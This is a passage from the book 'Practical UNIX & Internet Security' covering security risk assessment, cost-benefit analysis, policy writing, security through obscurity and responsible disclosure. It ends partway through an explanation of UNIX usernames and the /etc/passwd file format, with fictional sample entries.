You should take a larger view of these and related items rather than simply considering the computer aspects. If you are concerned about someone reading your internal financial reports, you should be concerned regardless of whether they read them from a discarded printout or snoop on your email.

2.2.1.2 Identifying threats

The next step is to determine a list of threats to your assets. Some of these threats will be environmental, and include fire, earthquake, explosion, and flood. They should also include very rare but possible events such as building structural failure, or discovery of asbestos in your computer room that requires you to vacate the building for a prolonged time. Other threats come from personnel, and from outsiders. We list some examples here:

  • Illness of key people

  • Simultaneous illness of many personnel (e.g., flu epidemic)

  • Loss (resignation/termination/death) of key personnel

  • Loss of phone/network services

  • Loss of utilities (phone, water, electricity) for a short time

  • Loss of utilities (phone, water, electricity) for a prolonged time

  • Lightning strike

  • Flood

  • Theft of disks or tapes

  • Theft of key person's laptop computer

  • Theft of key person's home computer

  • Introduction of a virus

  • Computer vendor bankruptcy

  • Bugs in software

  • Subverted employees

  • Subverted third-party personnel (e.g., vendor maintenance)

  • Labor unrest

  • Political terrorism

  • Random "hackers" getting into your machines

  • Users posting inflammatory or proprietary information to the Usenet

2.2.1.3 Quantifying the threats

After you have identified the threats, you need to estimate the likelihood of each occurring. These threats may be easiest to estimate on a year-by-year basis.

Quantifying the threat of a risk is hard work. You can obtain some estimates from third parties, such as insurance companies. If the event happens on a regular basis, you can estimate it based on your records. Industry organizations may have collected statistics or published reports. You can also base your estimates on educated guesses extrapolated from past experience. For instance:

  • Your power company can provide an official estimate of the likelihood that your building would suffer a power outage during the next year. They may also be able to quantify the risk of an outage lasting a few seconds vs. the risk of an outage lasting minutes or hours.

  • Your insurance carrier can provide you with actuarial data on the probability of death of key personnel based on age and health.[3]

    [3] Note the difference in this estimate between smokers and nonsmokers. This difference may present a strategy for risk abatement.

  • Your personnel records can be used to estimate the probability of key computing employees quitting.

  • Past experience and best guess can be used to estimate the probability of a serious bug being discovered in your vendor software during the next year (probably 100%).

If you expect something to happen more than once per year, then record the number of times that you expect it to happen. Thus, you may expect a serious earthquake only once every 100 years (1% in your list), but you may expect three serious bugs in sendmail to be discovered during the next year (300%).

2.2.2 Review Your Risks

Risk assessment should not be done only once and then forgotten. Instead, you should update your assessment periodically. In addition, the threat assessment portion should be redone whenever you have a significant change in operation or structure. Thus, if you reorganize, move to a new building, switch vendors, or undergo other major changes, you should reassess the threats and potential losses.

Previous: 2.1 Planning Your Security Needs | Practical UNIX & Internet Security | Next: 2.3 Cost-Benefit Analysis
2.1 Planning Your Security Needs | Book Index | 2.3 Cost-Benefit Analysis


[Chapter 2] 2.3 Cost-Benefit Analysis

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 2.2 Risk Assessment Chapter 2
Policies and Guidelines 		Next: 2.4 Policy

2.3 Cost-Benefit Analysis

After you complete your risk assessment, you need to assign a cost to each risk, and determine the cost of defending against it. This is called a cost-benefit analysis.

2.3.1 The Cost of Loss

Computing costs can be very difficult. A simple cost calculation can simply take into account the cost of repairing or replacing a particular item. A more sophisticated cost calculation can consider the cost of having equipment out of service, the cost of added training, the cost of additional procedures resulting from a loss, the cost to a company's reputation, and even the cost to a company's clients. Generally speaking, including more factors in your cost calculation will increase your effort, but will also increase the accuracy of your calculations.

For most purposes, you do not need to assign an exact value to each possible risk. Normally, assigning a cost range to each item is sufficient. For instance, the loss of a dozen blank diskettes may be classed as "under $500," while a destructive fire in your computer room might be classed as "over $1,000,000." Some items may actually fall into the category "irreparable/irreplaceable;" this could include loss of your entire accounts-due database, or the death of a key employee.

You may want to assign these costs based on a finer scale of loss than simply "lost/not lost." For instance, you might want to assign separate costs for each of the following categories (these are not in rank order):

  • Non-availability over a short term (< 7-10 days)

  • Non-availability over a medium term (1-2 weeks)

  • Non-availability over a long term (more than 2 weeks)

  • Permanent loss or destruction

  • Accidental partial loss or damage

  • Deliberate partial loss or damage

  • Unauthorized disclosure within the organization

  • Unauthorized disclosure to some outsiders

  • Unauthorized full disclosure to outsiders, competitors, and the press

  • Replacement or recovery cost

2.3.2 The Cost of Prevention

Finally, you need to calculate the cost of preventing each kind of loss.

For instance, the cost to recover from a momentary power failure is probably only that of personnel "downtime" and the time necessary to reboot. However, the cost of prevention may be that of buying and installing a UPS system.

Costs need to be amortized over the expected lifetime of your approaches, as appropriate. Deriving these costs may reveal secondary costs and credits that should also be factored in. For instance, installing a better fire-suppression system may result in a yearly decrease in your fire insurance premiums and give you a tax benefit for capital depreciation. But spending money on a fire-suppression system means that the money is not available for other purposes, such as increased employee training, or even investing.t

Cost-Benefit Examples

For example, suppose you have a 0.5% chance of a single power outage lasting more than a few seconds in any given year. The expected loss as a result of personnel not being able to work is $25,000, and the cost of recovery (handling reboots and disk checks) is expected to be another $10,000 in downtime and personnel costs. Thus, the expected loss and recovery cost per year is (25000+10000) x .005 = $175. If the cost of a UPS system that can handle all your needs is $150,000 and it has an expected lifetime of ten years, then the cost of avoidance is $15,000 per year. Clearly, investing in a UPS system at this location is not cost-effective.

As another example, suppose that compromise of a password by any employee could result in an outsider gaining access to trade secret information worth $1,000,000. There is no recovery possible, because the trade secret status would be compromised, and once lost cannot be regained. You have 50 employees who access your network while traveling, and the probability of any one of them accidentally disclosing the password (for example, having it "sniffed" over the Internet; see Chapter 8, Defending Your Accounts) is 2%. Thus, the probability of at least one password being disclosed during the year is 63.6%.[4] The expected loss is (1000000+0) x .636 = $636,000. If the cost of avoidance is buying a $75 one-time password card for each user (see Chapter 8), plus a $20,000 software cost, and the system is good for five years, then the avoidance cost is (50*75 + 20000) / 5 = $4750 per year. Buying such a system would clearly be indicated.

[4] That is, 1- (1.0-0.02)50

2.3.3 Adding Up the Numbers

At the conclusion of this exercise, you should have a multi-dimensional matrix consisting of assets, risks, and possible losses. For each loss, you should know its probability, the predicted loss, and the amount of money required to defend against the loss. If you are very precise, you will also have a probability that your defense will prove inadequate.

The process of determining if each defense should or should not be employed is now straightforward. You do this by multiplying each expected loss by the probability of its occurring as a result of each threat. Sort these in descending order, and compare each cost of occurrence to its cost of defense.

This comparison results in a prioritized list of things you should address. The list may be surprising. Your goal should be to avoid expensive, probable losses, before worrying about less likely, low-damage threats. In many environments, fire and loss of key personnel are much more likely to occur and more damaging than a virus or break-in over the network. Surprisingly, however, it is break-ins and viruses that seem to occupy the attention and budget of most managers. This practice is simply not cost effective, nor does it provide the highest levels of trust in your overall system.

To figure out what you should do, take the figures that you have gathered for avoidance and recovery to determine how best to address your high-priority items. The way to do this is to add the cost of recovery to the expected average loss, and multiply that by the probability of occurrence. Then, compare the final product with the yearly cost of avoidance. If the cost of avoidance is lower than the risk you are defending against, you would be advised to invest in the avoidance strategy if you have sufficient financial resources. If the cost of avoidance is higher than the risk that you are defending against, then consider doing nothing until after other threats have been dealt with.[5]

[5] Alternatively, you may wish to reconsider your costs.

Risk Cannot Be Eliminated

You can identify and reduce risks, but you can never eliminate risk entirely.

For example, you may purchase a UPS to reduce the risk of a power failure damaging your data. But the UPS may fail when you need it. The power interruption may outlast your battery capacity. The cleaning crew may have unplugged it last week to use the outlet for their floor polisher.

A careful risk assessment will identify these secondary risks and help you to plan for them as well. You might, for instance, purchase a second UPS. But, of course, both of those units could fail at the same time. There might even be an interaction between the two units that you did not foresee when you installed them. The likelihood of a power failure gets smaller and smaller as you buy more backup power supplies and test the system, but it never becomes zero.

Risk assessment can help you to protect yourself and your organization against human risks as well as natural ones. For example, you can use risk assessment to help protect yourself against computer break-ins, by identifying the risks and planning accordingly. But, as with power failures, you cannot completely eliminate the chance of someone breaking in to your computer.

This fact is fundamental to computer security: No matter how secure you make a computer, it can always be broken into given sufficient resources, time, motivation, and money.

Even systems that are certified according to the Department of Defense's " Orange Book" are vulnerable to break-ins. One reason is that these systems are sometimes not administered correctly. Another reason is that some people using them may be willing to take bribes to violate the security. Computer access controls do no good if they're not administered properly, exactly as the lock on a building will do no good if it is the night watchman who is stealing office equipment at 2 a.m.

Indeed, people are often the weakest link in a security system. The most secure computer system in the world is wide open if the system administrator cooperates with those who wish to break into the machine. People can be compromised with money, threats, or ideological appeals. People can also make mistakes - like accidentally sending email containing account passwords to the wrong person.

Indeed, people are usually cheaper and easier to compromise than advanced technological safeguards.

2.3.4 Convincing Management

Security is not free. The more elaborate your security measures become, the more expensive they become. Systems that are more secure may also be more difficult to use, although this need not always be the case.[6] Security can also get in the way of "power users," who wish to exercise many difficult and sometimes dangerous operations without authentication or accountability. Some of these power users can be politically powerful within your organization.

[6] The converse is also not true. PC operating systems are not secure, even though some are difficult to use.

After you have completed your risk assessment and cost-benefit analysis, you will need to convince your organization's management of the need to act upon the information. Normally, you would formulate a policy that is then officially adopted. Frequently, this process is an uphill battle. Fortunately, it does not have to be.

The goal of risk assessment and cost-benefit analysis is to prioritize your actions and spending on security. If your business plan is such that you should not have an uninsured risk of more than $10,000 per year, you can use your risk analysis to determine what needs to be spent to achieve this goal. Your analysis can also be a guide as to what to do first, then second, and can identify which things you should relegate to later years.

Another benefit of risk assessment is that it helps to justify to management that you need additional resources for security. Most managers and directors know little about computers, but they do understand risk and cost/benefit analyses.[7] If you can show that your organization is currently facing an exposure to risk that could total $20,000,000 per year (add up all the expected losses plus recovery costs for what is currently in place), then this estimate might help convince management to fund some additional personnel and resources.

[7] In like manner, few computer security personnel seem to understand risk analysis techniques.

On the other hand, going to management with a vague "We're really likely to see several break-ins on the Internet after the next CERT announcement" is unlikely to produce anything other than a mild concern (if that).

Previous: 2.2 Risk Assessment | Practical UNIX & Internet Security | Next: 2.4 Policy
2.2 Risk Assessment | Book Index | 2.4 Policy


[Chapter 2] 2.4 Policy

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 2.3 Cost-Benefit Analysis Chapter 2
Policies and Guidelines 		Next: 2.5 The Problem with Security Through Obscurity

2.4 Policy

Policy helps to define what you consider to be valuable, and it specifies what steps should be taken to safeguard those assets.

Policy can be formulated in a number of different ways. You could write a very simple, general policy of a few pages that covers most possibilities. You could also craft a policy for different sets of assets: a policy for email, a policy for personnel data, and a policy on accounting information. A third approach, taken by many large corporations, is to have a small, simple policy augmented with standards and guidelines for appropriate behavior. We'll briefly outline this latter approach, with the reader's understanding that simpler policies can be crafted; more information is given in the references.

2.4.1 The Role of Policy

Policy plays three major roles. First, it makes clear what is being protected and why. Second, it clearly states the responsibility for that protection. Third, it provides a ground on which to interpret and resolve any later conflicts that might arise. What the policy should not do is list specific threats, machines, or individuals by name - the policy should be general and change little over time. For example:

Information and information processing facilities are a critical resource for the Big Whammix Corporation. Information should be protected commensurate with its value to Big Whammix, and consistent with applicable law. All employees share in the responsibility for the protection and supervision of information that is produced, manipulated, received, or transmitted in their departments. All employees likewise share in the responsibility for the maintenance, proper operation, and protection of all information processing resources of Big Whammix.

Information to be protected is any information discovered, learned, derived, or handled during the course of business that is not generally known outside of Big Whammix. This includes trade secret information (ours, and that of other organizations and companies), patent disclosure information, personnel data, financial information, information about any business opportunities, and anything else that conveys an advantage to Big Whammix so long as it is not disclosed. Personal information about employees, customers, and vendors is also to be considered confidential and protectable.

All information at Big Whammix, however stored - on computer media, on printouts, in microfilm, on CD-ROM, on audio or video tape, on photographic media, or in any other stored, tangible form - is the responsibility of the Chief Information Honcho (CIH). Thus, Big Whammix facilities should be used only for functions related to the business of Big Whammix, as determined by the President. The CIH shall be responsible for the protection of all information and information processing capabilities belonging to Big Whammix, whether located on company property or not. He will have authority to act commensurate with this responsibility, with the approval of the President of Big Whammix. The CIH shall formulate appropriate standards and guidelines, according to good business practice, to ensure the protection and continued operation of information processing.

Key to note in this example policy is the definition of what is to be protected, who is responsible for protecting it, and who is charged with creating additional guidelines. This policy can be shown to all employees, and to outsiders to explain company policy. It should remain current no matter what operating system is in use, or who the CIH may happen to be.

2.4.2 Standards

Standards are intended to codify successful practice of security in an organization. They are generally phrased in terms of "shall." Standards are generally platform independent, and at least imply a metric to determine if they have been met. Standards are developed in support of policy, and change slowly over time. Standards might cover such issues as how to screen new hires, how long to keep backups, and how to test UPS systems.

For example, consider a standard for backups. It might state:

Backups shall be made of all online data and software on a regular basis. In no case will backups be done any less often than once every 72 hours of normal business operation. All backups should be kept for a period of at least six months; the first backup in January and July of each year will be kept indefinitely at an off-site, secured storage location. At least one full backup of the entire system shall be taken every other week. All backup media will meet accepted industry standards for its type, to be readable after a minimum of five years in unattended storage.

This standard does not name a particular backup mechanism or software package. It clearly states, however, what is to be stored, how long it is to be stored, and how often it is to be made.

Consider a possible standard for authentication:

Every user account on each multiuser machine shall have only one person authorized to use it. That user will be required to authenticate his or her identity to the system using some positive proof of identity. This proof of identity can be through the use of an approved authentication token or smart card, an approved one-time password mechanism, or an approved biometric unit. Reusable passwords will not be used for primary authentication on any machine that is ever connected to a network or modem, that is portable and carried off company property, or that is used outside of a private office.

2.4.3 Guidelines

Guidelines are the "should" statements in policies. The intent of guidelines is to interpret standards for a particular environment - whether that is a software environment, or a physical environment. Unlike standards, guidelines may be violated, if necessary. As the name suggests, guidelines are not usually used as standards of performance, but as ways to help guide behavior.

Here is a typical guideline for backups:

Backups on UNIX-based machines should be done with the "dump" program. Backups should be done nightly, in single-user mode, for systems that are not in 24-hour production use. Backups for systems in 24-hour production mode should be made at the shift change closest to midnight, when the system is less loaded. All backups will be read and verified immediately after being written.

Level 0 dumps will be done for the first backup in January and July. Level 3 backups should be done on the 1st and 15th of every month. Level 5 backups should be done every Monday and Thursday night, unless a level 0 or level 3 backup is done on that day. Level 7 backups should be done every other night except on holidays.

Once per week, the administrator will pick a file at random from some backup made that week. The operator will be required to recover that file as a test of the backup procedures.

Guidelines tend to be very specific to particular architectures and even to specific machines. Guidelines also tend to change more often than do standards, to reflect changing conditions.

2.4.4 Some Key Ideas in Developing a Workable Policy

The role of policy (and associated standards and guidelines) is to help protect those items you (collectively) view as important. They do not need to be overly specific and complicated in most instances. Sometimes, a simple policy statement is sufficient for your environment, as in the following example.

The use and protection of this system is everyone's responsibility. Only do things you would want everyone else to do, too. Respect the privacy of other users. If you find a problem, fix it yourself or report it right away. Abide by all applicable laws concerning use of the system. Be responsible for what you do and always identify yourself. Have fun!

Other times, a more formal policy, reviewed by a law firm and various security consultants, is the way you need to go to protect your assets. Each organization will be different. We know of some organizations that have volumes of policies, standards, and guidelines for their UNIX systems.

There are some key ideas to your policy formation, though, that need to be mentioned more explicitly. These are in addition to the two we mentioned at the beginning of this chapter.

2.4.4.1 Assign an owner

Every piece of information and equipment to be protected should have an assigned "owner." The owner is the person who is responsible for the information, including its copying, destruction, backups, and other aspects of protection. This is also the person who has some authority with respect to granting access to the information.

The problem with security in many environments is that there is important information that has no clear owner. As a result, users are never sure who makes decisions about the storage of the information, or who regulates access to the information. Information sometimes even disappears without anyone noticing for a long period of time because there is no "owner" to contact or monitor the situation.

2.4.4.2 Be positive

People respond better to positive statements than to negative ones. Instead of building long lists of "don't do this" statements, think how to phrase the same information positively. The abbreviated policy statement above could have been written as a set of "don'ts" as follows, but consider how much better it read originally:

It's your responsibility not to allow misuse of the system. Don't do things you wouldn't want others to do, too. Don't violate the privacy of others. If you find a problem, don't keep it a secret if you can't fix it yourself. Don't violate any laws concerning use of the system. Don't try to shift responsibility for what you do to someone else and don't hide your identity. Don't have a bad time!

2.4.4.3 Remember that employees are people too

When writing policies, keep users in mind. They will make mistakes, and they will misunderstand. The policy should not suggest that users will be thrown to the wolves if an error occurs.

Furthermore, consider that information systems may contain information about users that they would like to keep somewhat private. This may include some email, personnel records, and job evaluations. This material should be protected, too, although you may not be able to guarantee absolute privacy. Be considerate of users' needs and feelings.

2.4.4.4 Concentrate on education

You would be wise to include standards for training and retraining of all users. Every user should have basic security awareness education, with some form of periodic refresher material (even if the refresher only involves being given a copy of this book!). Trained and educated users are less likely to fall for scams and social engineering attacks. They are also more likely to be happy about security measures if they understand why they are in place.

A crucial part of any security system is giving staff time and support for additional training and education. There are always new tools and new threats, new techniques, and new information to be learned. If staff members are spending 60 hours each week chasing down phantom PC viruses and doing backups, they will not be as effective as staff given a few weeks of training time each year. Furthermore, they are more likely to be happy with their work if they are given a chance to grow and learn on the job, and are allowed to spend evenings and weekends with their families instead of trying to catch up on installing software and making backups.

2.4.4.5 Have authority commensurate with responsibility

Spaf's first principle of security administration:

If you have responsibility for security, but have no authority to set rules or punish violators, your own role in the organization is to take the blame when something big goes wrong.

Consider the case we heard about in which a system administrator caught one of the programmers trying to break into the root account of the payroll system. Further investigation revealed that the account of the user was filled with password files taken from machines around the net, many with cracked passwords. The administrator immediately shut down the account and made an appointment with the programmer's supervisor.

The supervisor was not supportive. She phoned the vice-president of the company and demanded that the programmer get his account back - she needed his help to meet her group deadline. The system administrator was admonished for shutting down the account and told not to do it again.

Three months later, the administrator was fired when someone broke into the payroll system he was charged with protecting. The programmer allegedly received a promotion and raise, despite an apparent ready excess of cash.

If you find yourself in a similar situation, polish up your resumé and start hunting for a new job before you're forced into a job search by circumstances you can't control.

2.4.4.6 Pick a basic philosophy

Decide if you are going to build around the model of "Everything that is not specifically denied is permitted" or "Everything that is not specifically permitted is denied." Then be consistent in how you define everything else.

2.4.4.7 Defend in depth

When you plan your defenses and policy, don't stop at one layer. Institute multiple, redundant, independent levels of protection. Then include auditing and monitoring to ensure that those protections are working. The chance of an attacker evading one set of defenses is far greater than the chance of his evading three layers plus an alarm system.

Four Easy Steps to a More Secure Computer

Running a secure computer is a lot of work. If you don't have time for the full risk-assessment and cost-benefit analysis described in this chapter, we recommend that you at least follow these four easy steps:

  1. Decide how important security is for your site. If you think security is very important and that your organization will suffer significant loss in the case of a security breach, the response must be given sufficient priority. Assigning an overworked programmer who has no formal security training to handle security on a half-time basis is a sure invitation to problems.

  2. Involve and educate your user community. Do the users at your site understand the dangers and risks involved with poor security practices (and what those practices are)? Your users should know what to do and who to call if they observe something suspicious or inappropriate. Educating your user population helps make them a part of your security system. Keeping users ignorant of system limitations and operation will not increase the system security - there are always other sources of information for determined attackers.

  3. Devise a plan for making and storing backups of your system data. You should have off-site backups so that even in the event of major disaster, you can reconstruct your systems. We discuss this more in Chapter 7, Backups, and Chapter 12, Physical Security.

  4. Stay inquisitive and suspicious. If something happens that appears unusual, suspect an intruder and investigate. You'll usually find that the problem is only a bug or a mistake in the way a system resource is being used. But occasionally, you may discover something more serious. For this reason, each time something happens that you can't definitively explain, you should suspect a security problem and investigate accordingly.

Previous: 2.3 Cost-Benefit Analysis | Practical UNIX & Internet Security | Next: 2.5 The Problem with Security Through Obscurity
2.3 Cost-Benefit Analysis | Book Index | 2.5 The Problem with Security Through Obscurity


[Chapter 2] 2.5 The Problem with Security Through Obscurity

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 2.4 Policy Chapter 2
Policies and Guidelines 		Next: II. User Responsibilities

2.5 The Problem with Security Through Obscurity

We'd like to close this chapter on policy formation with a few words about knowledge. In traditional security, derived largely from military intelligence, there is the concept of "need to know." Information is partitioned, and you are given only as much as you need to do your job. In environments where specific items of information are sensitive or where inferential security is a concern, this policy makes considerable sense. If three pieces of information together can form a damaging conclusion and no one has access to more than two, you can ensure confidentiality.

In a computer operations environment, applying the same need-to-know concept is usually not appropriate. This is especially true if you should find yourself basing your security on the fact that something technical is unknown to your attackers. This concept can even hurt your security.

Consider an environment in which management decides to keep the manuals away from the users to prevent them from learning about commands and options that might be used to crack the system. Under such circumstances, the managers might believe they've increased their security, but they probably have not. A determined attacker will find the same documentation elsewhere - from other users or from other sites. Many vendors will sell copies of their documentation without requiring an executed license. Usually all that is required is a visit to a local college or university to find copies. Extensive amounts of UNIX documentation are available as close as the nearest bookstore! Management cannot close down all possible avenues for learning about the system.

In the meantime, the local users are likely to make less efficient use of the machine because they are unable to view the documentation and learn about more efficient options. They are also likely to have a poorer attitude because the implicit message from management is "We don't completely trust you to be a responsible user." Furthermore, if someone does start abusing commands and features of the system, management does not have a pool of talent to recognize or deal with the problem. And if something should happen to the one or two users authorized to access the documentation, there is no one with the requisite experience or knowledge to step in or help out.

Keeping bugs or features secret to protect them is also a poor approach to security. System developers often insert back doors in their programs to let them gain privileges without supplying passwords (see Chapter 11, Protecting Against Programmed Threats). Other times, system bugs with profound security implications are allowed to persist because management assumes that nobody knows of them. The problem with these approaches is that features and problems in the code have a tendency to be discovered by accident or by determined crackers. The fact that the bugs and features are kept secret means that they are unwatched, and probably unpatched. After being discovered, the existence of the problem will make all similar systems vulnerable to attack by the persons who discover the problem.

Keeping algorithms secret, such as a locally developed encryption algorithm, is also of questionable value. Unless you are an expert in cryptography, you are unlikely to be able to analyze the strength of your algorithm. The result may be a mechanism that has a gaping hole in it. An algorithm that is kept secret isn't scrutinized by others, and thus someone who does discover the hole may have free access to your data without your knowledge.

Likewise, keeping the source code of your operating system or application secret is no guarantee of security. Those who are determined to break into your system will occasionally find security holes, with or without source code. But without the source code, users cannot carry out a systematic examination of a program for problems.

The key is attitude. If you take defensive measures that are based primarily on secrecy, you lose all your protections after secrecy is breached. You can even be in a position where you can't determine whether the secrecy has been breached, because to maintain the secrecy, you've restricted or prevented auditing and monitoring. You are better served by algorithms and mechanisms that are inherently strong, even if they're known to an attacker. The very fact that you are using strong, known mechanisms may discourage an attacker and cause the idly curious to seek excitement elsewhere. Putting your money in a wall safe is better protection than depending on the fact that no one knows that you hide your money in a mayonnaise jar in your refrigerator.

2.5.1 Going Public

Despite our objection to "security through obscurity," we do not advocate that you widely publicize new security holes the moment that you find them. There is a difference between secrecy and prudence! If you discover a security hole in distributed or widely available software, you should quietly report it to the vendor as soon as possible. We would also recommend that you also report it to one of the FIRST teams (described in Appendix F, Organizations). Those organizations can take action to help vendors develop patches and see that they are distributed in an appropriate manner.

If you "go public" with a security hole, you endanger all of the people who are running that software but who don't have the ability to apply fixes. In the UNIX environment, many users are accustomed to having the source code available to make local modifications to correct flaws. Unfortunately, not everyone is so lucky, and many people have to wait weeks or months for updated software from their vendors. Some sites may not even be able to upgrade their software because they're running a turnkey application, or one that has been certified in some way based on the current configuration. Other systems are being run by individuals who don't have the necessary expertise to apply patches. Still others are no longer in production, or are at least out of maintenance. Always act responsibly. It may be preferable to circulate a patch without explaining or implying the underlying vulnerability than to give attackers details on how to break into unpatched systems.

We have seen many instances in which a well-intentioned person reported a significant security problem in a very public forum. Although the person's intention was to elicit a rapid fix from the affected vendors, the result was a wave of break-ins to systems where the administrators did not have access to the same public forum, or were unable to apply a fix appropriate for their environment.

Posting details of the latest security vulnerability in your system to the Usenet electronic bulletin board system will not only endanger many other sites, it may also open you to civil action for damages if that flaw is used to break into those sites.[8] If you are concerned with your security, realize that you're a part of a community. Seek to reinforce the security of everyone else in that community as well - and remember that you may need the assistance of others one day.

[8] Although we are unaware of any cases having been filed yet, on these grounds, several lawyers have told us that they are waiting for their clients to request such an action.

2.5.2 Confidential Information

Some security-related information is rightfully confidential. For instance, keeping your passwords from becoming public knowledge makes sense. This is not an example of security through obscurity. Unlike a bug or a back door in an operating system that gives an attacker superuser powers, passwords are designed to be kept secret and should be routinely changed to remain so.

2.5.3 Final Words: Risk Management Means Common Sense

The key to successful risk assessment is to identify all of the possible threats to your system, but only to defend against those attacks which you think are realistic threats.

Simply because people are the weak link doesn't mean we should ignore other safeguards. People are unpredictable, but breaking into a dial-in modem that does not have a password is still cheaper than a bribe. So, we use technological defenses where we can, and we improve our personnel security by educating our staff and users.

We also rely on defense in depth: we apply multiple levels of defenses as backups in case some fail. For instance, we buy that second UPS system, or we put a separate lock on the computer room door even though we have a lock on the building door. These combinations can be defeated too, but we increase the effort and cost for an enemy to do that...and maybe we can convince them that doing so isn't worth the trouble. At the very least, you can hope to slow them down enough so that your monitoring and alarms will bring help before anything significant is lost or damaged.

With these limits in mind, you need to approach computer security with a thoughtfully developed set of priorities. You can't protect against every possible threat. Sometimes you should allow a problem to occur rather than prevent it, and then clean up afterwards. For instance, your efforts might be cheaper and less trouble if you let the systems go down in a power failure and then reboot than if you bought a UPS system. And some things you simply don't bother to defend against, either because they are too unlikely (e.g., an alien invasion from space), too difficult to defend against (e.g., a nuclear blast within 500 yards of your data center), or simply too catastrophic and horrible to contemplate (e.g., your management decides to switch all your UNIX machines to a well-known PC operating system). The key to good management is knowing what things you will worry about, and to what degree.

Decide what you want to protect and what the costs might be to prevent those losses versus the cost of recovering from those losses. Then make your decisions for action and security measures based on a prioritized list of the most critical needs. Be sure you include more than your computers in this analysis: don't forget that your backup tapes, your network connections, your terminals, and your documentation are all part of the system and represent potential loss. The safety of your personnel, your corporate site, and your reputation are also very important and should be included in your plans.

Previous: 2.4 Policy | Practical UNIX & Internet Security | Next: II. User Responsibilities
2.4 Policy | Book Index | II. User Responsibilities


[Chapter 3] Users and Passwords

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: II. User Responsibilities Chapter 3 Next: 3.2 Passwords

3. Users and Passwords

Contents:
Usernames
Passwords
Entering Your Password
Changing Your Password
Verifying Your New Password
The Care and Feeding of Passwords
One-Time Passwords
Summary

This chapter explains the UNIX user account and password systems. It also discusses what makes a good password.

Good password security is part of your first line of defenses against system abuse.[1] People trying to gain unauthorized access to your system often try to guess the passwords of legitimate users. Two common and related ways to do this are by trying many possible passwords from a database of common passwords, and by stealing a copy of your organization's password file and trying to crack the encrypted passwords that it contains.

[1] Another part of your first line of defense is physical security, which may prevent an attacker from simply carting your server through the lobby without being questioned. See Chapter 12, Physical Security for details.

After an attacker gains initial access, he or she is free to snoop around, looking for other security holes to exploit to attain successively higher privileges. The best way to keep your system secure is to keep unauthorized users out of the system in the first place. This means teaching your users what good password security means and making sure they adhere to good security practices.

Sometimes even good passwords aren't sufficient. This is especially true in cases where passwords need to travel across unprotected networks. With default network protocols and defenses, these passwords may be sniffed - read from the network by someone not authorized to know the passwords. In cases of this kind, one-time passwords are necessary.

3.1 Usernames

Every person who uses a UNIX computer should have an account. An account is identified by a username. Traditionally, each account also has a secret password associated with it to prevent unauthorized use. Usernames are sometimes called account names. You need to know both your username and your password to log into a UNIX system. For example, Rachel Cohen has an account on her university's computer system. Her username is rachel. Her password is "Iluvfred." When she wants to log into the university's computer system, she types:

login: rachel
password: Iluvfred

The username is an identifier: it tells the computer who you are. The password is an authenticator: you use it to prove to the operating system that you are who you claim to be.

Standard UNIX usernames may be between one and eight characters long. Within a single UNIX computer, usernames must be unique: no two users can have the same one. (If two people did have the same username, then they would really be sharing the same account.) UNIX passwords are also between one and eight characters long, although some commercial UNIX systems now allow longer passwords. Longer passwords are usually more secure because they are harder to guess. More than one user can theoretically have the same password, although if they do, that indicates that both users have picked a bad password.

A single person can have more than one UNIX account on the same computer. In this case, each account would have its own username. A username can be any sequence of characters you want (with some exceptions), and does not necessarily correspond to a real person's name.

NOTE: Some versions of UNIX have problems with usernames that do not start with a lowercase letter or that contain special characters such as punctuation or control characters. Usernames containing certain unusual characters will also cause problems for various application programs, including some network mail programs. For this reason, many sites allow only usernames that contain lowercase letters and numbers and that start with a lowercase letter.

Your username identifies you to UNIX the same way your first name identifies you to your friends. When you log into the UNIX system, you tell it your username the same way you might say, "Hello, this is Sabrina," when you pick up the telephone.[2] When somebody sends you electronic mail, they send it addressed with your username. For this reason, organizations that have more than one computer often require people to have the same username on every machine, primarily to minimize confusion with electronic mail.

[2] Even if you aren't Sabrina, saying that you are Sabrina identifies you as Sabrina. Of course, if you are not Sabrina, your voice will probably not authenticate you as Sabrina, provided that the person you are speaking with knows what Sabrina sounds like.

There is considerable flexibility in choosing a username. For example, John Q. Random might have any of the following usernames; they are all potentially valid:

john johnqr johnr jqr jqrandom jrandom random randomjq

Alternatively, John might have a username that appears totally unrelated to his real name, like avocado or t42. Having a username similar to your own name is merely a matter of convenience.

Most organizations require that usernames be at least three characters long. Usernames that are only one or two characters are valid, but they are usually discouraged. Single-character usernames are simply too confusing for most people to deal with, no matter how easy you might think it would be to be user "i" or "x". Usernames that are two characters long are easily confused between different sites: is mg@unipress.com the same person as mg@aol.com? Names with little intrinsic meaning, such as t42 and xp9uu6wl, can also cause confusion, because they are more difficult for correspondents to remember.

Some organizations assign usernames consisting of a person's last name (sometimes with an optional initial). Other organizations let users pick their own names. A few organizations and online services assign an apparently random string of characters as the usernames, although this is not often popular with users or their correspondents: user xp9uu6wl may get quite annoyed at continually getting mail misaddressed for xp9uu6wi, assuming that anyone can remember either username at all.

UNIX also has special accounts which are used for administrative purposes and special system functions. These accounts are not normally used by individual users, as you will see shortly.

Previous: II. User Responsibilities | Practical UNIX & Internet Security | Next: 3.2 Passwords
II. User Responsibilities | Book Index | 3.2 Passwords


[Chapter 3] 3.2 Passwords

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 3.1 Usernames Chapter 3
Users and Passwords 		Next: 3.3 Entering Your Password

3.2 Passwords

Once you've entered your username, UNIX typically prompts you to enter your password. This section describes how UNIX stores and handles passwords on most systems and how you can select a good password.

3.2.1 The /etc/passwd File

UNIX uses the /etc/passwd file to keep track of every user on the system. The /etc/passwd file contains the username, real name, identification information, and basic account information for each user. Each line in the file contains a database record; the record fields are separated by a colon (:).

You can use the cat command to display your system's /etc/passwd file. Here are a few sample lines from a typical file:

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
daemon:*:1:1::/tmp:
uucp:OORoMN9FyZfNE:4:4::/var/spool/uucppublic:/usr/lib/uucp/uucico
rachel:eH5/.mj7NB3dx:181:100:Rachel Cohen:/u/rachel:/bin/ksh
arlin:f8fk3j1OIf34.:182:100:Arlin Steinberg:/u/arlin:/bin/csh

The first three accounts, root, daemon, and uucp, are system accounts, while rachel and arlin are accounts for individual users.

The individual fields of the /etc/passwd file have fairly straightforward meanings. Table 3-1 explains a sample line from the file shown above

Table 3.1: Example /etc/passwd Fields
Field | Contents
rachel | The username
eH5/.mj7NB3dx | The user's "encrypted password"
181 | The user's user identification number (UID)
